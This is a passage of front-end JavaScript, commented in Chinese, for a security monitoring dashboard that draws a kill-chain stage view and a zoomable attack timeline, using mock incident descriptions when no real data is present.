    detailsTitle.textContent = '攻击链详情';
    detailsContainer.appendChild(detailsTitle);
    
    // 生成攻击链详情表格
    const table = document.createElement('table');
    table.className = 'w-full text-sm';
    
    const thead = document.createElement('thead');
    thead.innerHTML = `
        <tr class="border-b border-gray-200">
            <th class="py-2 px-3 text-left font-medium text-gray-600">阶段</th>
            <th class="py-2 px-3 text-left font-medium text-gray-600">状态</th>
            <th class="py-2 px-3 text-left font-medium text-gray-600">时间</th>
            <th class="py-2 px-3 text-left font-medium text-gray-600">描述</th>
        </tr>
    `;
    
    const tbody = document.createElement('tbody');
    
    const attackStages = ['recon', 'weaponize', 'deliver', 'exploit', 'install', 'c2', 'action'];
    const stageNames = {
        recon: '侦察',
        weaponize: '武器化',
        deliver: '交付',
        exploit: '利用',
        install: '安装',
        c2: '命令控制',
        action: '目标达成'
    };
    
    // 模拟攻击链各阶段的数据
    const chainData = event.attackChain || {};
    
    attackStages.forEach(stage => {
        const row = document.createElement('tr');
        row.className = 'border-b border-gray-200 hover:bg-gray-50';
        
        const stageData = chainData[stage] || {};
        const isActive = event.attackStage === stage;
        const isCompleted = attackStages.indexOf(event.attackStage) >= attackStages.indexOf(stage);
        
        let statusClass = 'text-gray-400';
        let statusText = '未检测到';
        if (isCompleted) {
            statusClass = isActive ? 'text-red-500 font-medium' : 'text-green-500';
            statusText = isActive ? '当前阶段' : '已完成';
        }
        
        row.innerHTML = `
            <td class="py-2 px-3">
                <div class="flex items-center gap-2">
                    <span class="${isActive ? 'font-medium' : ''}">${stageNames[stage]}</span>
                </div>
            </td>
            <td class="py-2 px-3"><span class="${statusClass}">${statusText}</span></td>
            <td class="py-2 px-3">${stageData.timestamp || '-'}</td>
            <td class="py-2 px-3">${stageData.description || '-'}</td>
        `;
        
        tbody.appendChild(row);
    });
    
    table.appendChild(thead);
    table.appendChild(tbody);
    detailsContainer.appendChild(table);
    attackChainContainer.appendChild(detailsContainer);
    
    // 将内容添加到容器
    container.appendChild(attackChainContainer);
}

// 生成攻击链可视化
function generateAttackChainVisualization(event) {
    const container = document.createElement('div');
    container.className = 'attack-chain-visualization bg-white bg-opacity-90 rounded-lg p-4 border border-gray-200 shadow-sm';
    
    const stages = [
        { id: 'recon', name: '侦察', icon: '🔍' },
        { id: 'weaponize', name: '武器化', icon: '💣' },
        { id: 'deliver', name: '交付', icon: '📤' },
        { id: 'exploit', name: '利用', icon: '⚔️' },
        { id: 'install', name: '安装', icon: '🖥️' },
        { id: 'c2', name: '命令控制', icon: '📡' },
        { id: 'action', name: '目标达成', icon: '🎯' }
    ];
    
    const chainData = event.attackChain || {};
    
    // 创建阶段容器
    const stagesContainer = document.createElement('div');
    stagesContainer.className = 'flex flex-wrap justify-between gap-4';
    
    stages.forEach((stage, index) => {
        const stageData = chainData[stage.id] || {};
        const isActive = event.attackStage === stage.id;
        const isCompleted = stages.indexOf(stages.find(s => s.id === event.attackStage)) >= index;
        
        const stageElement = document.createElement('div');
        stageElement.className = `flex-1 min-w-[120px] p-3 rounded-lg text-center transition-all duration-300 ${isCompleted ? (isActive ? 'bg-red-50 border border-red-200 shadow-md scale-105' : 'bg-green-50 border border-green-200') : 'bg-gray-50 border border-gray-200'}`;
        
        stageElement.innerHTML = `
            <div class="text-2xl mb-1">${stage.icon}</div>
            <div class="font-medium mb-1">${stage.name}</div>
            <div class="text-xs text-gray-500">
                ${isCompleted ? (stageData.timestamp || '完成') : '未检测'}
            </div>
        `;
        
        stagesContainer.appendChild(stageElement);
        
        // 添加连接线
        if (index < stages.length - 1) {
            const connector = document.createElement('div');
            const isNextCompleted = stages.indexOf(stages.find(s => s.id === event.attackStage)) > index;
            connector.className = `h-0.5 self-center w-4 ${isNextCompleted ? 'bg-green-400' : 'bg-gray-300'}`;
            stagesContainer.appendChild(connector);
        }
    });
    
    container.appendChild(stagesContainer);
    
    // 添加当前阶段描述
    if (event.attackStage) {
        const descriptionContainer = document.createElement('div');
        descriptionContainer.className = 'mt-4 text-sm p-3 bg-blue-50 border border-blue-200 rounded-lg';
        descriptionContainer.innerHTML = `
            <div class="font-medium mb-1">当前阶段: ${stages.find(s => s.id === event.attackStage)?.name}</div>
            <div class="text-gray-600">${getStageDescription(event.attackStage)}</div>
        `;
        container.appendChild(descriptionContainer);
    }
    
    return container;
}

// 导出攻击链
function exportAttackChain(event) {
    // 模拟导出功能
    showNotification('攻击链分析报告已导出', 'success');
}

// 加载时间线内容
function loadTimelineContent(eventId) {
    const event = getEventById(eventId);
    const container = document.getElementById('tab-content');
    
    if (!event) {
        container.innerHTML = '<div class="alert">事件不存在或已被删除</div>';
        return;
    }
    
    // 清空容器
    container.innerHTML = '';
    
    // 创建时间线容器
    const timelineContainer = document.createElement('div');
    timelineContainer.className = 'timeline-container';
    
    // 创建时间线标题
    const title = document.createElement('h3');
    title.className = 'text-lg font-medium mb-6';
    title.textContent = '攻击长镜头时间线';
    timelineContainer.appendChild(title);
    
    // 添加缩放控制
    const zoomContainer = document.createElement('div');
    zoomContainer.className = 'flex gap-2 mb-6';
    
    const zoomOptions = [
        { label: '小时', value: 'hour' },
        { label: '天', value: 'day' },
        { label: '周', value: 'week' }
    ];
    
    let currentZoom = 'hour';
    
    zoomOptions.forEach(option => {
        const button = document.createElement('button');
        button.className = `btn ${currentZoom === option.value ? 'btn-primary' : 'btn-secondary'}`;
        button.textContent = option.label;
        button.addEventListener('click', () => {
            currentZoom = option.value;
            zoomOptions.forEach(opt => {
                const btn = zoomContainer.querySelector(`button[data-value="${opt.value}"]`);
                if (btn) {
                    btn.className = `btn ${currentZoom === opt.value ? 'btn-primary' : 'btn-secondary'}`;
                }
            });
            // 重新生成时间线
            timelineContent.innerHTML = '';
            timelineContent.appendChild(generateTimelineVisualization(event, currentZoom));
        });
        button.dataset.value = option.value;
        zoomContainer.appendChild(button);
    });
    
    timelineContainer.appendChild(zoomContainer);
    
    // 添加时间线内容
    const timelineContent = document.createElement('div');
    timelineContent.appendChild(generateTimelineVisualization(event, currentZoom));
    timelineContainer.appendChild(timelineContent);
    
    // 将内容添加到容器
    container.appendChild(timelineContainer);
}

// 生成时间线可视化
function generateTimelineVisualization(event, zoomLevel) {
    const container = document.createElement('div');
    container.className = 'timeline-visualization bg-white bg-opacity-90 rounded-lg p-6 border border-gray-200 shadow-sm';
    
    // 模拟时间线数据
    const timelineData = event.timeline || [];
    
    // 如果没有时间线数据，生成一些模拟数据
    if (timelineData.length === 0) {
        const baseTime = new Date();
        baseTime.setHours(baseTime.getHours() - 12); // 12小时前
        
        // 生成模拟时间线事件
        const mockEvents = [
            { timestamp: new Date(baseTime.getTime() + 2 * 60 * 60 * 1000).toISOString(), title: '侦察活动', description: '检测到对目标网络的端口扫描', type: 'recon' },
            { timestamp: new Date(baseTime.getTime() + 4 * 60 * 60 * 1000).toISOString(), title: '钓鱼邮件', description: '用户收到含有恶意附件的钓鱼邮件', type: 'deliver' },
            { timestamp: new Date(baseTime.getTime() + 4.5 * 60 * 60 * 1000).toISOString(), title: '漏洞利用', description: '攻击者利用Web应用漏洞获取初始访问权限', type: 'exploit' },
            { timestamp: new Date(baseTime.getTime() + 5 * 60 * 60 * 1000).toISOString(), title: '持久化', description: '攻击者创建计划任务确保持久访问', type: 'install' },
            { timestamp: new Date(baseTime.getTime() + 6 * 60 * 60 * 1000).toISOString(), title: 'C2通信', description: '检测到与已知恶意域名的通信', type: 'c2' },
            { timestamp: new Date(baseTime.getTime() + 8 * 60 * 60 * 1000).toISOString(), title: '数据窃取', description: '大量数据被传输到外部服务器', type: 'action' }
        ];
        
        // 根据缩放级别调整显示
        const filteredEvents = filterEventsByZoom(mockEvents, zoomLevel);
        
        // 创建时间线
        createTimelineElements(filteredEvents, container, zoomLevel);
    } else {
        // 使用实际的时间线数据
        const filteredEvents = filterEventsByZoom(timelineData, zoomLevel);
        createTimelineElements(filteredEvents, container, zoomLevel);
    }
    
    return container;
}

// 根据缩放级别过滤事件
function filterEventsByZoom(events, zoomLevel) {
    // 根据缩放级别简单过滤事件
    // 实际实现可能需要更复杂的逻辑
    return events.sort((a, b) => new Date(a.timestamp) - new Date(b.timestamp));
}

// 创建时间线元素
function createTimelineElements(events, container, zoomLevel) {
    // 创建时间线主体
    const timeline = document.createElement('div');
    timeline.className = 'relative border-l-2 border-gray-200 pl-6 ml-3';
    
    events.forEach((event, index) => {
        const eventElement = document.createElement('div');
        eventElement.className = 'mb-8 relative';
        
        // 创建时间点
        const timestamp = document.createElement('div');
        timestamp.className = 'absolute -left-[40px] w-4 h-4 rounded-full bg-primary border-4 border-white';
        eventElement.appendChild(timestamp);
        
        // 创建时间标签
        const timeLabel = document.createElement('div');
        timeLabel.className = 'text-sm text-gray-500 mb-1';
        
        const date = new Date(event.timestamp);
        if (zoomLevel === 'hour') {
            timeLabel.textContent = date.toLocaleTimeString();
        } else if (zoomLevel === 'day') {
            timeLabel.textContent = date.toLocaleDateString() + ' ' + date.toLocaleTimeString();
        } else {
            timeLabel.textContent = date.toLocaleDateString();
        }
        
        eventElement.appendChild(timeLabel);
        
        // 创建事件卡片
        const eventCard = document.createElement('div');
        eventCard.className = 'bg-white rounded-lg p-3 border border-gray-200 shadow-sm hover:shadow-md transition-shadow cursor-pointer';
        
        const title = document.createElement('div');
        title.className = 'font-medium text-primary';
        title.textContent = event.title;
        eventCard.appendChild(title);
        
        const description = document.createElement('div');
        description.className = 'text-sm text-gray-600 mt-1';
        description.textContent = event.description;
        eventCard.appendChild(description);
        
        // 添加点击事件，用于高亮对应攻击链阶段
        eventCard.addEventListener('click', () => {
            highlightAttackChainStage(event.type);
        });
        
        eventElement.appendChild(eventCard);
        timeline.appendChild(eventElement);
    });
    
    container.appendChild(timeline);
}

// 根据事件类型高亮攻击链阶段
function highlightAttackChainStage(stageType) {
    // 获取攻击链阶段索引
    const stages = ['recon', 'weaponize', 'deliver', 'exploit', 'install', 'c2', 'action'];
    const stageIndex = stages.indexOf(stageType);
    
    if (stageIndex === -1) return; // 如果找不到对应的阶段类型，直接返回
    
    // 查找所有攻击链组件
    const attackChainContainers = document.querySelectorAll('.attack-chain');
    
    attackChainContainers.forEach(container => {
        const chainStages = container.querySelectorAll('.chain-stage');
        
        // 重置所有阶段的样式
        chainStages.forEach((stage, index) => {
            stage.className = 'chain-stage';
            if (index < stageIndex) {
                stage.className += ' completed';
            } else if (index === stageIndex) {
                stage.className += ' current';
            }
        });
        
        // 更新阶段名称的样式
        const stageNames = container.nextElementSibling.querySelectorAll('span');
        stageNames.forEach((name, index) => {
            if (index === stageIndex) {
                name.className = 'font-medium text-text-secondary';
            } else {
                name.className = '';
            }
        });
    });
}

// 高亮时间线项目
function highlightTimelineItem(eventId) {
    // 实现时间线高亮逻辑
    // 查找当前显示的时间线项目
    const timelineItems = document.querySelectorAll('.timeline-item');
    timelineItems.forEach(item => {
        item.classList.remove('selected');
    });
    
    // 这里可以根据eventId查找并高亮对应的时间线项目
    // 由于我们修改了createTimelineElements函数，现在时间线项目有点击事件
    // 这个函数可以留作扩展使用
}

// 更新loadTabContent函数以包含attack-chain和timeline标签页
function updateLoadTabContent() {
    // 检查是否已存在原始函数，避免重复重写导致的冲突
    if (window.originalLoadTabContent) {
        return; // 已经初始化过，避免重复覆盖
    }
    
    // 保存原始函数到window对象上，确保在整个应用中都能访问
    window.originalLoadTabContent = window.loadTabContent || function() {};
    
    // 重写函数，但确保与原始函数参数兼容
    window.loadTabContent = function(tabId, contentPanel, eventId) {
        try {
            // 特殊处理overview标签页，当有选中事件时直接返回，避免覆盖已显示的内容
            if (tabId === 'overview' && currentSelectedEvent) {
                return; // 已经有选中事件，不执行默认加载，避免覆盖showEventDetails的内容
            }
            
            // 兼容原始函数调用方式（参数为tabId和contentPanel）
            if (contentPanel && contentPanel.nodeType === Node.ELEMENT_NODE) {
                // 这是原始的调用方式，调用原始函数
                window.originalLoadTabContent(tabId, contentPanel);
                return;
            }
            
            // 新的调用方式（参数为tabId和eventId）
            if (typeof contentPanel === 'string' || contentPanel === undefined) {
                // 处理attack-chain和timeline标签
                if (tabId === 'attack-chain') {
                    loadAttackChainContent(contentPanel || eventId);
                } else if (tabId === 'timeline') {
                    loadTimelineContent(contentPanel || eventId);
                } else {
                    // 对于其他标签，使用原始行为
                    console.warn('未知的标签页类型:', tabId);
                }
            }
        } catch (error) {
            console.error('loadTabContent执行错误:', error);
            // 发生错误时尝试使用原始函数作为回退
            try {
                window.originalLoadTabContent(tabId, contentPanel);
            } catch (e) {
                console.error('回退到原始函数也失败:', e);
            }
        }
    };
}

// 在页面加载时更新loadTabContent函数
if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', updateLoadTabContent);
} else {
    updateLoadTabContent();
}